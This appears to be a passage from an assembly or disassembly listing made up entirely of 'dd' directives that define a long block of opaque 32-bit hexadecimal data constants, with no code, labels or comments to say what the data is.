		dd 0DC1ED60Dh, 2C7744F1h, 0AC7BE16Dh, 85463DE5h, 0F95CDFAh
		dd 0AF68F7E8h, 5CB0EFD4h, 59C6E82Ah, 0BE629EA3h, 0D0B54963h
		dd 0A5437745h, 7EFD548Ah, 0EAA3E9FBh, 8AC39918h, 0DA22692Fh
		dd 0C7558C03h, 530E6FF7h, 0D463BD65h, 3668FF7Ah, 0A1B35EEEh
		dd 550A482Dh, 67CA092Ch, 613758D0h, 929DEB7Eh, 488B5B7Ch
		dd 90FD9FC6h, 0AC4693EEh, 8E4E4868h, 0F5863847h, 0DD036565h
		dd 0BE3142DBh, 4521BD51h, 0CC962E3Fh, 74F2A539h, 0F533DB8Ch
		dd 2CDCD61Eh, 24A3F41Fh, 941D1D78h, 0E8FFCC2Bh,	0D07E5E02h
		dd 0D367CC2Fh, 0B1EFEC26h, 25607403h, 0D81E1C36h, 80B313E3h
		dd 18C3803Dh, 4F1114FCh, 9AB39CEEh, 0BE3ECCC5h,	0F93DF489h
		dd 31A5BBE8h, 0C001D245h, 1883F545h, 7DC03A54h,	77FE0E07h
		dd 0F6031ACCh, 0D85A6CE1h, 0FF2C2792h, 0FD64CD6Fh, 0E43014BFh
		dd 0D3E93CD4h, 0D41FD395h, 0AA7859FDh, 870B1ACFh, 13D1EEA7h
		dd 0C251E562h, 82647BA9h, 78D0B471h, 227DC66Fh,	0B2BD6E22h
		dd 6F1F8FE7h, 87C6B169h, 0D8A71463h, 0F119EF7Bh, 89B918C8h
		dd 5D9FFF62h, 3AF74C78h, 0FB11576Eh, 621601D0h,	0A00A9A2Eh
		dd 6141BEE7h, 0A43ADF0Bh, 87270787h, 0E1E983C3h, 0F1E187F0h
		dd 0DB9EA45Dh, 0AC0A9AC6h, 0EF404EB4h, 73E17DFAh, 0D3070B43h
		dd 887EA687h, 0FB0061ABh, 147F0C3Eh, 0F5E189Eh,	21B4387Fh
		dd 0D7B9E1FCh, 0D3EB83C3h, 0BD39BCF1h, 0E3ABCA13h, 0A8AF2F8Fh
		dd 517516B5h, 17517517h, 0C9F75175h, 0FC027FDDh, 65952864h
		dd 6CEC82Fh, 8A653DFFh,	898B8B09h, 863611D1h, 0D5B6EED1h
		dd 2E1E422Eh, 9A633F89h, 48F8CA8Eh, 6895E40Ah, 1555D148h
		dd 1D7C61Bh, 9F6E65BBh,	0FDD186C7h, 96AF4B12h, 63985761h
		dd 0EC0EC8C2h, 0D73F32E5h, 0ACBFF312h, 8A62CBBBh, 324E1FBCh
		dd 0D87FC71h, 0B7E1477Eh, 7EEE7E10h, 0E1EFBF51h, 0E0B1C767h
		dd 0BF51FEDCh, 0C349C444h, 8352EBA9h, 597E1D9Fh, 0F06F5BF0h
		dd 557E073Bh, 880CB3F0h, 0DF858DFAh, 2FA7219Eh,	19B4F95Fh
		dd 0CDE466D3h, 0BEAAB8BCh, 579E995Eh, 30AF2332h, 50FE32F3h
		dd 95E69566h, 0F58DEFE8h, 7275F2D5h, 0F764D96Eh, 0BAFFDD34h
		dd 0B3C9BCC2h, 0D75FEA66h, 220246E4h, 1130EB7Fh, 8CD70E7Fh
		dd 9B82ACF2h, 6E11B70Bh, 0B844DC1Fh, 0CA4D03FEh, 0C3F08B7h
		dd 4EDC36F7h, 5DC13FB8h, 0C200F704h, 0C096783Dh, 0A97055Dh
		dd 82EB8667h, 0BF5921FFh, 227F1007h, 1BB84CDCh,	0DAE01AE0h
		dd 39C2D6E0h, 0EDC136E0h, 0EE18FB83h, 5C0F5C28h, 3449DC7Fh
		dd 0B802EE0Ch, 0E10AE1CBh, 0C155C366h, 80ADC135h, 3FEE0BBBh
		dd 0BDC236E1h, 0B857F70Ah, 6112E12Fh, 0EE193649h, 0DC173822h
		dd 0DC0F386Ch, 0E06B70ADh, 816DC3D6h, 7DEE157Bh, 8EE1CFB8h
		dd 41CA25C1h, 7C6827FAh, 1EB70DBEh, 57B85EEEh, 310FFAE0h
		dd 9D3C4129h, 0CB844E78h, 0F7C1EB85h, 0E1BA780Dh, 0C2D6E0DAh
		dd 14F7003Dh, 0FB704BDCh, 7DC00EE0h, 9C2DF70Eh,	0CDA41A19h
		dd 0BC40AE78h, 82EEF0CBh, 0C3AB842Bh, 0ADDC2277h, 77055F78h
		dd 7013DC2Fh, 83EDC12Fh, 11DC2BFBh, 0ECE16FB8h,	81CF37A0h
		dd 19F80F9Bh, 0F9DC0E94h, 2C201770h, 8751E099h,	97EE147h
		dd 0ADC2777h, 0F9B826B8h, 5490B870h, 0F1B85C9h,	21B80E7h
		dd 34F701D7h, 0ADC45CDCh, 0EF18FB87h, 0C71A765Dh, 52C62DA2h
		dd 0C157705Eh, 694CECE1h, 673E382h, 0AC2683FAh,	0B832EE1Dh
		dd 5D7E007h, 0A7F78197h, 0F70C3CF1h, 916DC06h, 694988FBh
		dd 0D6ACA985h, 825EE047h, 56A45D83h, 856D0F18h,	57D6A4A5h
		dd 0AF3860E1h, 0CC3851F5h, 0D8CC56F9h, 5685E056h, 9856F1CCh
		dd 0CA856D14h, 0DC2A6B53h, 0E1907059h, 6BB4C56Dh, 4DD02D1Dh
		dd 0D13E4C2Bh, 5BA405EDh, 0EF22B4A7h, 52F77043h, 855EE079h
		dd 3CF700DBh, 175C3D5Ch, 434E1C5Ch, 999CF172h, 5D35CA22h
		dd 56A0D699h, 0AB543737h, 85AB54D7h, 496A2D15h,	63534B75h
		dd 0B4F54B43h, 0C9C69A86h, 1225328Ah, 0BAB9B53Eh, 0D59EAD42h
		dd 975F0F5Ch, 0F2A2B7C1h, 139CF646h, 56AD2BF1h,	6B526BAFh
		dd 79001B1Bh, 0B1B21455h, 52BAA1A1h, 233CDF85h,	0A15AA964h
		dd 56A65B7Ah, 80DFD7D4h, 91199494h, 0AA9AEBB0h,	3175C091h
		dd 9F722DFh, 36AA814Ah,	54375695h, 0ECDF5495h, 34A16EADh
		dd 823F652Fh, 0B265FA89h, 0BAB7B15Fh, 9B5916F9h, 4AD49159h
		dd 0F2AA2BAAh, 15ABEB6Bh, 0AF983B5Ch, 36D7E536h, 45B9B3E0h
		dd 0CAC9BF25h, 0A92BF208h, 7171A9BEh, 336D6E75h, 7CD8DD4Ah
		dd 286564CBh, 0A699A2F9h, 0AB9B9B7Ah, 0C843541Bh, 0D110A40h
		dd 973DF064h, 74F4B7Ch,	0DFA4523Fh, 0B5537150h,	4E1950C8h
		dd 0CCAF6E3Eh, 24E6453Fh, 95F46CBEh, 0AD5F5D5Bh, 91F9D0EAh
		dd 67C1507Ah, 90952F54h, 0BB5B4657h, 0BAA5B1BEh, 0AA1A2A0h
		dd 34C5BC55h, 0AD56A1ADh, 0BDAFA8ADh, 336A7AB5h, 0EA2B2ADEh
		dd 0F414514Bh, 88A85290h
		dd 0AFFAFB84h, 0AB9BF253h, 6F6B0BABh, 0BE68AE68h, 15306945h
		dd 91345754h, 0C434A28Fh, 5556D795h, 3454F54Fh,	0F22C6CCFh
		dd 53B5ABD6h, 95AB516Eh, 5BEAE347h, 0EAFAE6D4h,	0C3887286h
		dd 0FAE4F432h, 0E54AC6FAh, 7561536Eh, 9253E2C5h, 792B6657h
		dd 0FC53D254h, 0B6A84D53h, 0B2B1B9BBh, 5285A5BAh, 0AC628F81h
		dd 0A9A7FCBh, 45CF011Bh, 0DF9285F9h, 85537CD8h,	8AD8045Ah
		dd 0C92ED445h, 0BCEE6871h, 456C68C5h, 1D1158B9h, 0EB089FC2h
		dd 0CF08E456h, 6C6E6E6Bh, 4D279456h, 6CCFD291h,	0DCA4ABD4h
		dd 0ACA8F5CBh, 25FF18A0h, 61D09BDEh, 0FD7A23CAh, 9A9FEF0h
		dd 0CF922493h, 21A79439h, 58F487DDh, 2B8BAD00h,	5155A8AFh
		dd 86DAD2CAh, 0D7D5F545h, 7A8750DDh, 97DD1E2Ah,	0FBA4D00Bh
		dd 1E4A28B7h, 6D667ED5h, 1B538DE5h, 2AF694BDh, 2996B4D3h
		dd 68E55515h, 0DAB76AA5h, 0B92B14ACh, 37152DB5h, 0F4CF57D4h
		dd 0B2556EA0h, 0B4F2687Bh, 0B7148528h, 85B9BAACh, 0E8A831DBh
		dd 9B5547C3h, 0AAF06F6Bh, 79282DD5h, 3516F92Fh,	79EB7956h
		dd 0F8C0CD24h, 0C5316F83h, 6A40C72Ch, 1862D25Ch, 0B45ACAA4h
		dd 7C132475h, 0A416E31Fh, 0C3B1D7E6h, 26B7BD30h, 0A3355557h
		dd 85651417h, 0BA204789h, 0AAEAC6FEh, 0CD950D69h, 2B7137D5h
		dd 0CFF466DDh, 0DFF88EADh, 0A4A563CCh, 75968C5Ah, 6A6EEDA2h
		dd 3CAC9DAAh, 237D3D46h, 0DBD1BA5Ah, 7771895Ch,	0FA26973Fh
		dd 0EC6857EDh, 9593DFEBh, 28B8F5FBh, 4B618F97h,	4586F351h
		dd 54B19593h, 5A5BD2CAh, 8A9BEAD4h, 8957E1AAh, 7189DE72h
		dd 5BC6F00Fh, 9B95BD44h, 0EB6BD34Ch, 0DED667EBh, 0ACACDD54h
		dd 55A6C3D6h, 0A2B729A2h, 0B6D517B7h, 0AFAD60D0h, 6C56A168h
		dd 0AB31D4E6h, 279B1A5Bh, 0DC95EB2Bh, 0C258AE6h, 0EFCC3CAAh
		dd 508B5579h, 450CC5BEh, 4D9593FEh, 0B955ED18h,	8B8D8198h
		dd 0F114BB94h, 0A971A532h, 0E2B9A2BBh, 554AC9A6h, 269692DCh
		dd 99AD5514h, 46250C0Ch, 0DE5628ADh, 0ED40C9D2h, 0E235D5B9h
		dd 515A5B93h, 8DDC9936h, 218AA2Dh, 353FB1D1h, 48228BDAh
		dd 5569A2CEh, 0C70CF28Ah, 643EC288h, 74596A2Ah,	47F84186h
		dd 0FABABB93h, 30EC28C6h, 61A2DF1Ah, 0FE34B594h, 4AD42A9Ah
		dd 2F3C344Fh, 4573666Eh, 0A3D4B43h, 0E5153D2Dh,	0D8AFCE59h
		dd 89E7AB5Bh, 9E4692A5h, 131BE91Eh, 5FADCCD2h, 825D0D34h
		dd 0A6E62171h, 8980FBE1h, 88F4BBB0h, 0FB2BFAC4h, 0D6FE7346h
		dd 0E04CCA90h, 3FCAC9C0h, 9F08E90Dh, 0D59B8A2h,	0EFFA7DCDh
		dd 7D68F475h, 754B4575h, 2BE554EEh, 3955318Eh, 3FE9A14Fh
		dd 0A08CE383h, 2C968B1Ah, 2401A46Ch, 83ECB8E6h,	0C55216C6h
		dd 3E22D69Bh, 6A5B6ACBh, 78951F31h, 0D27F4082h,	7A9E7EA0h
		dd 4B515DDBh, 0A508FBE3h, 16BEB53Fh, 0F73425FEh, 505329FBh
		dd 7A19069Ah, 64CFB465h, 3AA4FF4Eh, 7A5637E5h, 0A683CB91h
		dd 72402C22h, 44572A80h, 28F79561h, 9940C9D5h, 0D149E091h
		dd 72E7CE50h, 0B33A6445h, 0AD7314B1h, 2473631Ah, 0C25155CFh
		dd 0D5D74DC7h, 8B54B4D4h, 957B2922h, 15BD9BBCh,	2C51FCF5h
		dd 0DE0B69E6h, 68DCFBF9h, 21164BCDh, 0A5717195h, 7A25C69Eh
		dd 0B9365E99h, 220D69D5h, 1758F995h, 0EBAA0A1Ah, 442DFE69h
		dd 1E5188FBh, 9411ADEDh, 0FA30353Fh, 0DC56667h,	295845D4h
		dd 6BCC76F4h, 0A556B420h, 41E8677Ch, 9F080A50h,	0AFADA9EAh
		dd 7B144C52h, 442DF57Ah, 52B542Eh, 52D8BE8Ah, 0AA1AD31Eh
		dd 0E9C96B18h, 73214C04h, 0AC9B14C5h, 0AAF917DCh, 98A26EAEh
		dd 6A1AB38Dh, 0A2A1EB23h, 699F005Ch, 7C3CEF86h,	0C168ACCFh
		dd 5789B80Ch, 0B7E8DC99h, 158A5240h, 69FF223Eh,	456A2D0Dh
		dd 32A36103h, 80EBA259h, 0D716AB71h, 0AC6ABD62h, 7194C2AFh
		dd 4B10F610h, 0BD45596Ch, 16710D17h, 8692F0F9h,	0E99328EAh
		dd 81CC4D0Bh, 4ED1DD34h, 189CE14h, 262EBC80h, 0E46D221Fh
		dd 34D139F7h, 495933E1h, 6BCEFA7h, 0FC324DEFh, 0B266FA72h
		dd 38EA9A27h, 95931A43h, 810B109h, 5EEDCDDFh, 0B2B6B8BDh
		dd 53456A7Ah, 0D651328Bh, 1D16FA87h, 32B137AFh,	0DA995788h
		dd 8D4D25EAh, 52DE6ACDh, 150507FCh, 67D27B1Dh, 0ADD0A998h
		dd 0EF62E636h, 17D2553Ah, 54A6298h, 8AA2ED8Dh, 68402C26h
		dd 0FABE9531h, 54D4B4A4h, 0AF2527DAh, 0E6BAEA11h, 4B77E445h
		dd 38FA4A14h, 7530F1F4h, 0FF7FF2B2h, 0FFDFEFFEh, 0DC56BF9Ah
		dd 0A53638DDh, 4F07BD30h, 397D2DDAh, 3A02121Ch,	747F058Fh
		dd 0DC1363B7h, 4FE164D1h, 0C424F77Fh, 0E430F845h, 9C58710Eh
		dd 718E9A32h, 105DF2FBh, 0F710C9B6h, 0FBC447E9h, 9277A4FEh
		dd 9046C5DEh, 4F2D6DD2h, 0AE78DC50h, 0BADDC035h, 9FBFBC5Eh
		dd 1D241F4h, 3CE51C03h,	0E232EC1Bh, 0CF966D14h,	0B3EC4C3h
		dd 1B73F347h, 0FE9FF9D2h, 60490215h, 0F112D887h, 698B0338h
		dd 7F8952B2h, 0FE0B4AD5h, 516E54CDh, 7F4EF09Ah,	6959A56Eh
		dd 4AB85454h, 0A62728B8h, 7137E104h, 46F86108h,	0F14F52C4h
		dd 2CD9E377h, 0A42167FDh, 52DE9230h, 72FE20E4h,	0E22F6539h
		dd 120D2B54h, 0C0B7C056h, 0CC7B19A7h, 0FFD30E0Ah, 32A6F8DCh
		dd 0ABB4E12Eh, 3373CA62h, 92E6A9D2h, 396A54CCh,	447C2356h
		dd 0A7D0EB9Ah, 9C6C25E3h, 67E11B74h, 0FBAF7D91h, 559F81EDh
		dd 736459C2h, 9D9F861Dh, 0F5C28EF3h, 0FAD2FC0h,	517E729Ch
		dd 9F8FA3BAh, 7D197E1Dh, 6FC346FCh, 173F1F74h, 0F1F6C6FCh
		dd 983F0D9Bh, 4A2653F3h, 0B899E59Eh, 0EB00B83h,	0A716E52Eh
		dd 1A7D9C16h, 8E6239BFh, 54666A40h, 8B96A8CBh, 2BA90B73h
		dd 0EF779894h, 79447C5Ch, 9A6EFF6Dh, 0EFEC5553h, 6F2935B0h
		dd 171BE6Ch, 411BF516h,	0A8D383C5h, 99CA36DCh, 0DC7B3F55h
		dd 0C8F8E728h, 0C9B365CFh, 0BAFA5E45h, 0C2D4CAE5h, 28B969D2h
		dd 439B2886h, 0EF70C0EEh, 0C8134368h, 0E6EAD2E3h, 99CDD5C5h
		dd 36AC6197h, 62AB3455h, 0F208A24Bh, 42D29919h,	0F7EA7F55h
		dd 0E2D27DC5h, 6DE9E83Ch, 192A232Eh, 0F5FFA695h, 33826755h
		dd 0D86E4994h, 6356BEB0h, 142AE71h, 622FB640h, 8D0E9130h
		dd 4C63E911h, 4D2DE677h, 0E3D73BB4h, 10E5F02Bh,	0B8E0DA63h
		dd 0AF531760h, 54B6D514h, 0F10B360Ah, 120E9049h, 0C518EB18h
		dd 63667D03h, 8D0DFD63h, 0AAD4A74Bh, 0A1345537h, 0CE32F421h
		dd 0B140D3EDh, 0E2E51275h, 0D6BD5CE7h, 6730A9CAh, 0BF4A77Ah
		dd 7DDD0AF2h, 4DDA62DAh, 1F5086D8h, 0A6395754h,	0D45F3562h
		dd 584B5CD8h, 4B189906h, 76809183h, 9D292BCBh, 1E0CDD76h
		dd 1BA7726Ah, 0C69ACA69h, 93725052h, 6C4C05FFh,	0E8620238h
		dd 0A569DCA1h, 73C9C2EEh, 4505A994h, 4A015F9Ch,	0AABCF4Bh
		dd 95161A2Bh, 799CD754h, 1FD99E9Ch, 0E718E02Dh,	0F0D16390h
		dd 6FFA7FFEh, 0D6478403h, 5B86ADC1h, 0E705B70Ah, 3DC14FFDh
		dd 0DC1F770Ch, 46B16ADAh, 0FB0E40A8h, 0E129AB70h, 9521F026h
		dd 8F7BE05Fh, 0F27C26FCh, 0EA514B8Ah, 0CF2F1DF1h, 0F1A0CC2Ah
		dd 609BF23Ch, 6514B3CCh, 3C26FCA7h, 1DDF1E33h, 0E1F19BF2h
		dd 0C6F390CDh, 1CC18537h, 7273B292h, 7E51B282h,	0A9AC6E13h
		dd 0C8365048h, 0FEB38A6Fh, 61E504E6h, 58F30DF9h, 12CB67CAh
		dd 9BF27594h, 0DEF78EEEh, 16B28D79h, 0A36614DFh, 534D75F2h
		dd 1EFCB56h, 4CB6BDF4h,	24DF9569h, 2D0094DCh, 4EF8A5F2h
		dd 0FEFAF894h, 9A122BC7h, 0E1A277E4h, 0C321C7BCh, 6B168F67h
		dd 3E235D38h, 0E424649Bh
		dd 0B4374ABAh, 4DBE1816h, 0FA7497FFh, 45B7FE3Fh, 24E1B59Eh
		dd 0A0975941h, 0BE0816B4h, 4F10B2B8h, 24D83B1Ah, 0AFBF52B4h
		dd 575BC15h, 695A0FD6h,	8936CCCCh, 9326BB63h, 0E9EBA1E0h
		dd 8FD44A50h, 0FFE0CFABh, 37FC19F0h, 0F1FE29Fh,	1D340E7Ah
		dd 33C2DFFCh, 49FBE788h, 0C0FAB83Ch, 0D0F8E10Dh, 0BF5E2352h
		dd 56E5F502h, 0C02BDE3Ah, 3D50573h, 0C015154Fh,	5EADE225h
		dd 0B9E2D73Ch, 40C8138h, 0F04BAD29h, 2973C0ECh,	0BCF0079Eh
		dd 3C2ECF05h, 96A2A257h, 65F5A578h, 9E07564Ch, 0C2CCF05Bh
		dd 0BA78CFF3h, 0A78ADCF1h, 166DCF07h, 0ED6A46Eh, 0B9E1D73Ch
		dd 0F18DCF1Dh, 698FD6A7h, 0D7D3F899h, 0FC69F0FBh, 0F66261FBh
		dd 8FF6C7C4h, 9F316FEEh, 0CF53FDEh, 0E0CFA3FEh,	0FF06759Fh
		dd 0CFF83382h, 0E7BF833Eh, 0CF4BFE0Ch, 0CFABFE0h, 0E0CEEBFEh
		dd 0FE0CE1BFh, 0BFE0CF9Bh, 7FE0CE7h, 3C1FE0CEh,	19CF7F83h
		dd 67092DFCh, 0F833FF68h, 7F833E8Fh, 0BFC19D6h,	0FB3FE0CEh
		dd 339EFE0Ch, 833D2FF8h, 8FF86AFFh, 0ADE702BEh,	29FB0C33h
		dd 8D077A1Ch, 0A15C2BFBh, 0DA1C3412h, 0ACE3F06Fh, 279C80D0h
		dd 19D77262h, 69DDF7BEh, 0C0362E52h, 73883EE7h,	5D7A4332h
		dd 0DFBC4C13h, 0E236FFD0h, 0B7C32AFBh, 0EF388FF9h, 0DCF77C34h
		dd 4353B383h, 43EFB3FAh, 0FAF7C37Ch, 6B8671FBh,	0FF3DC020h
		dd 433BF389h, 817E5BFEh, 7A435DF3h, 835E91ABh, 0E03C7BE1h
		dd 639E332Fh, 0DB3BCA3h, 837EBBF1h, 17BE19FAh, 64B38A3Eh
		dd 0EBC3F7C3h, 0F8699671h, 0C22DF8CEh, 0CA0662A3h, 0BD1F5C5Ch
		dd 0A66E10C1h, 0DF0CCC2Bh, 0C97ED1A3h, 0A17BFC86h, 50C6B5A8h
		dd 0DEB4249Fh, 0F270EC1Ch, 70D36AD0h, 0BFA67892h, 80B98001h
		dd 0BC4D70F7h, 0D3B1533Fh, 19973DA2h, 4DE066B1h, 80D737FDh
		dd 506F8061h, 57376316h, 0B0AA148Fh, 0A4C5376Eh, 447C0B7Ah
		dd 0FBB0D7A8h, 0BD243D43h, 25D1E761h, 667AD02Ah, 6C0880AEh
		dd 0FA0F156Dh, 8E8E9787h, 27C93C0Eh, 3571FFCCh,	3FD078BDh
		dd 92CFC2F2h, 59B84B25h, 0DA592C96h, 0EAF561BCh, 89493C56h
		dd 149C9E89h, 4386EFC2h, 0CB6EEBB8h, 96923BEAh,	4EEEFBA8h
		dd 70B3C1ACh, 0F083DDDFh, 15EFBA5Ch, 9491F85Ch,	0F9D974B4h
		dd 0D25E2377h, 5FCF5BD2h, 963BBF8Dh, 0CAFA3F36h, 0D2A40EF9h
		dd 2BDF763Bh, 0D1E54A0Eh, 2A47CF47h, 7F7E964Bh,	592E7D11h
		dd 16FC2002h, 8CCFE695h, 3F49D493h, 9D244FD9h, 2D55EFA9h
		dd 0F04E86B2h, 0F291C812h, 0C27ECEEFh, 14AB8B2Fh, 0DB643B0Eh
		dd 7D0DFCE8h, 3DB4497Fh, 0D636FE5Dh, 3846E744h,	0B1A3836Dh
		dd 0CE8E25B8h, 0E1FD7903h, 399744F8h, 0A7FD0513h, 77C44F7Fh
		dd 9EDBE19Ah, 0FD2E6828h, 0AB6D709Bh, 17709BE1h, 0DFE8A789h
		dd 16B125B3h, 3A4546F9h, 53BF4486h, 0B61CA047h,	17BBF7E8h
		dd 0D2193F01h, 0BFF2A7A3h, 3E71DBF0h, 0F80633EAh, 189E7507h
		dd 0F1576827h, 0D194F037h, 699F2A94h, 0E205DE11h, 0E9C9EDA0h
		dd 790D9AE9h, 8038F9E8h, 0EC4276C8h, 6D01AE8Ch,	0C4798C53h
		dd 5387929Fh, 0F321F689h, 46AEE06Fh, 0CBFF57FAh, 0AA94E23Ch
		dd 0E1D6998Bh, 9CA68EF6h, 51E4A78h, 4BE3A9F2h, 0F20D2BDAh
		dd 0D3F7604Ch, 0F2BC479h, 4231825Fh, 0FA5316FDh, 58F253B8h
		dd 3E3A9F28h, 0A13738A0h, 0CBFD370Eh, 2B15987Ah, 18D9C235h
		dd 798D834Bh, 0C7929CD4h, 4FBCF952h, 4DB4B9C7h,	0FF37FA41h
		dd 9FC63C8Bh, 0C9ECA09Fh, 85991B15h, 3879A2FDh,	0C841834Eh
		dd 947ECD56h, 26FCA363h, 23D724DBh, 1E65EBFDh, 3CE0DE90h
		dd 8A4CBCC4h, 7E7191E4h, 48AFB2A2h, 0C0A8CF0h, 0FDBA756Dh
		dd 479A06C6h, 0E53B6840h, 867F3D37h, 0C9167FF4h, 7ADA7CC3h
		dd 293F3A8Ch, 77D2A6B2h, 0DBE04FFCh, 4F4E850Eh,	433CE3C0h
		dd 0C34EE23Dh, 0FE1B0A5Fh, 0AFF90CBAh, 0E8EE6595h, 0E7DA9303h
		dd 0A9BF29DBh, 9F40E9Fh, 0CE0AFFD3h, 0ADFFAFE0h, 82B3F7BDh
		dd 0E6F75D6h, 0E54CD5FEh, 3F474AF7h, 7FE949CBh,	1FE6D7EFh
		dd 0F5FC18D6h, 8FB2FEF2h, 3FF4957Fh, 7AB3BC6Fh,	5FE06FF3h
		dd 48F7FC26h, 0F5EAAEFFh, 0BCF6D857h, 6FFEF839h, 5F1FC714h
		dd 56339359h, 0D1E52AE2h, 9FED31B4h, 0FD7839BDh, 5AFF842Fh
		dd 9F4F7FE9h, 0FF4B74F2h, 0CFF8FB7Bh, 17EE3896h, 48B7FC7Dh
		dd 2E39A77Fh, 0CBF82FD2h, 0B7DBD38Fh, 0CE49BF8Fh, 0FB896EA5h
		dd 0BED68609h, 0E95712D9h, 0EE5084EDh, 0D6D92EFEh, 0A71CACFAh
		dd 1055A8B4h, 62ECBBB7h, 3206FEB5h, 0F4B741C1h,	12ABDC62h
		dd 5C4966C7h, 0F7431A3Fh, 0E261E03Eh, 201A1F65h, 0D189DCFCh
		dd 24FDEDF4h, 8F1D121Ch, 0EC00E281h, 7C108B01h,	0EB40A0F2h
		dd 51ED92E0h, 0BF0942F8h, 0FDF4E125h, 0D47C5F7Bh, 3D39E69Fh
		dd 3EB3C01Fh, 941FCE49h, 68289831h, 178BA25Ch, 0D8FD984Ah
		dd 0C559B608h, 0DF7853FBh, 93EC7A87h, 75978D69h, 3F7C5EAh
		dd 29399728h, 560DEF36h, 3DE88F81h, 0BDD1E917h,	8907138Ah
		dd 0AFC823EFh, 0C7E62EDBh, 8DD3C8BBh, 0B1D45CF7h, 10BF0497h
		dd 70116C96h, 0A2AFE0CBh, 8869A0Dh, 9D22A09Ch, 0F5A0AB6Eh
		dd 0DAC20B7h, 6FC23771h, 4F0140C3h, 233658E6h, 8614D18Dh
		dd 7FA5FB38h, 64976CA1h, 7B85AD84h, 3ACBFB8h, 77082DDAh
		dd 0ECB47068h, 478D8466h, 759434DCh, 43ADFC27h,	8519E084h
		dd 67BBE375h, 93C9A080h, 0DC167691h, 0C9770853h, 1B41E8BEh
		dd 5DFA411Ch, 0C2DB6303h, 0A6D284A6h, 5A91EC91h, 9A522DFh
		dd 3439F5CAh, 20C76B28h, 5305BB3Eh, 114CCE92h, 23CFAE54h
		dd 0BFBDD65Bh, 0B2495C9Fh, 7D40D10Ah, 5ACE0D2Eh, 9FF80D7Ah
		dd 6365636Ah, 0B96A21BDh, 6706A73Eh, 0ADCCAC75h, 1F882B50h
		dd 0E7D70C6Ah, 0FCACA0D6h, 8E60B35Fh, 5F9F5021h, 0A4EF5909h
		dd 302A34Eh, 35B9F5Eh, 25BB7EB2h, 0BA58FC97h, 9F5CA5A7h
		dd 3DACE65Bh, 7D6F233Fh, 4E744EADh, 395B555Dh, 0BAA1B1A3h
		dd 9B47523Ch, 6D4D6773h, 0D4A44925h, 0AFCB062Fh, 0D1102200h
		dd 0BF7F3BFAh, 0BC92B6B1h, 55757844h, 0B9D59E34h, 0A56D7372h
		dd 0BC938F94h, 0F38B2E42h, 0FC44E797h, 5F0A2111h, 0B0F94753h
		dd 4F849B9Ch, 3A069D43h, 0F113DA2Fh, 0D504A887h, 0D4338F4Bh
		dd 14AD9FF9h, 4B5D5956h, 0FCA5D365h, 9C43E122h,	65CA5EDFh
		dd 67016F67h, 39CDA32Ch, 95B503Eh, 48CA8FE9h, 0FB750D31h
		dd 30C68BD9h, 9421DE3Dh, 1E39C929h, 3DC5E02h, 0BFD8B286h
		dd 0B535E688h, 14BED891h, 3F522AA9h, 0E56D5B67h, 5467C82Ch
		dd 3A4054D7h, 38B7F745h, 3E53C597h, 851D1074h, 7E8CCB7Dh
		dd 0E495B700h, 42DE965Dh, 0F20B66E3h, 3E6CE7EDh, 0DC34690Bh
		dd 0A4B8D0D8h, 8FA0ED01h, 0A1CE7EA7h, 910D2037h, 0C13FC1B0h
		dd 0DA8CF579h, 6E99FCCAh, 99C59F83h, 795B5594h,	0A793634Dh
		dd 4BF759BAh, 0A30B1E74h, 0E012671Fh, 419FC11Eh, 0C21D9D1Dh
		dd 2E3234AFh, 9F2FCE2Dh, 1214ADADh, 0DFBA48h, 0DAB8C967h
		dd 9B38124Ah, 715CDCDCh, 0E8C644Bh, 0AB1DB674h,	0ABCEBCADh
		dd 2103575Eh, 0C95EC803h, 0DAF44BF1h, 8290E720h, 0DD1A4ADAh
		dd 44DFE2E0h, 0AC223792h, 730EF907h, 56D4873Ah,	0C586B4Eh
		dd 7DAA05C9h, 2AB37553h, 0F1D1D818h, 0FA3E776Fh, 0F2118233h
		dd 0E015F993h, 61E95781h, 3F35E736h, 0D7351B47h, 0F1228347h
		dd 6F09CE2Ch, 5515ACA2h, 25CC8E08h, 0D436DFE7h,	8C6CD256h
		dd 0EB488B2Dh, 58C882C5h, 80F5A435h, 7670EA89h,	1215CD2Eh
		dd 79AB54A8h, 0DDE2185Ah
		dd 0CC6444F3h, 0C329F6h, 8A528CE7h, 0BAB4B797h,	66C0212h
		dd 0A2D607FFh, 4BD5F56Ch, 0DBC7AA6h, 5D3FB237h,	0BC318E04h
		dd 49087D10h, 6E9BC6CCh, 4CA0B882h, 0B06F122Eh,	699BB5F3h
		dd 9B78B44Ch, 0BAA09A48h, 80D59A8Ah, 0A739FA2Bh, 86B68DDCh
		dd 57A353A8h, 3B27F835h, 262BFECBh, 0F5F4C9Eh, 0B71CE21Fh
		dd 680FD228h, 920AE6CBh, 94372C65h, 311FEC77h, 3416B807h
		dd 8ADFC86Fh, 0ACE6C4F5h, 83C4882Bh, 0CE4A1624h, 0A1A5E061h
		dd 4B36FECDh, 0F921098Eh, 3BD222D8h, 7CF34712h,	0A7D168F1h
		dd 0E6D596A7h, 0F284703Ch, 0A930E952h, 0A3BCC4Ah, 0F94CD87Bh
		dd 0E2957F4Dh, 5907BE41h, 0F788C346h, 0E03E7565h, 56659489h
		dd 0EEB46149h, 0BAA6DF7Bh, 2E35CE63h, 4AB1C06Ah, 7A56955h
		dd 0E143487h, 0D832A49Eh, 3175ECB9h, 1A3466FFh,	0B4795B50h
		dd 2D5DE66Dh, 70610CC6h, 0B243E4C0h, 2B49F651h,	5E741359h
		dd 76D0D934h, 0FED170DCh, 18F376D2h, 0D585FE14h, 8F548B0Dh
		dd 4EA1ED21h, 898E60Fh,	0A10CA44h, 28884951h, 0F9DFDE12h
		dd 8398D3DEh, 0CB9AAF1Eh, 0EF1A2048h, 9E529FE7h, 84CD8D95h
		dd 9A68804Ah, 0EE1C02A9h, 1CEA1B86h, 0DC21AAF6h, 25B1A90Dh
		dd 71D1CD8Dh, 0E4F9C839h, 8595B5CBh, 0A2E3908Dh, 366DE621h
		dd 0CE61B7CCh, 0DF45E397h, 243C799Ch, 4F5D573Bh, 530196E5h
		dd 5EA88249h, 0E899CBCEh, 0BDE714FBh, 17F21997h, 0AC67DFFDh
		dd 9E8E730Eh, 2F0C0A7Eh, 0FEF1C6B0h, 3F9A26EAh,	3946632Ah
		dd 9C690CC7h, 4D5F2CE5h, 0E3A48F73h, 0A457C9E4h, 58F9A283h
		dd 740FB972h, 2B21630h,	0E9166EBAh, 0B0468374h,	28EB7B3Bh
		dd 0C599811Fh, 896DCE4Ah, 0F9C03571h, 0D1853C46h, 0BF642459h
		dd 9D5AE922h, 7F65BE47h, 0E3CDF829h, 9C4F5490h,	0E08F8F9Fh
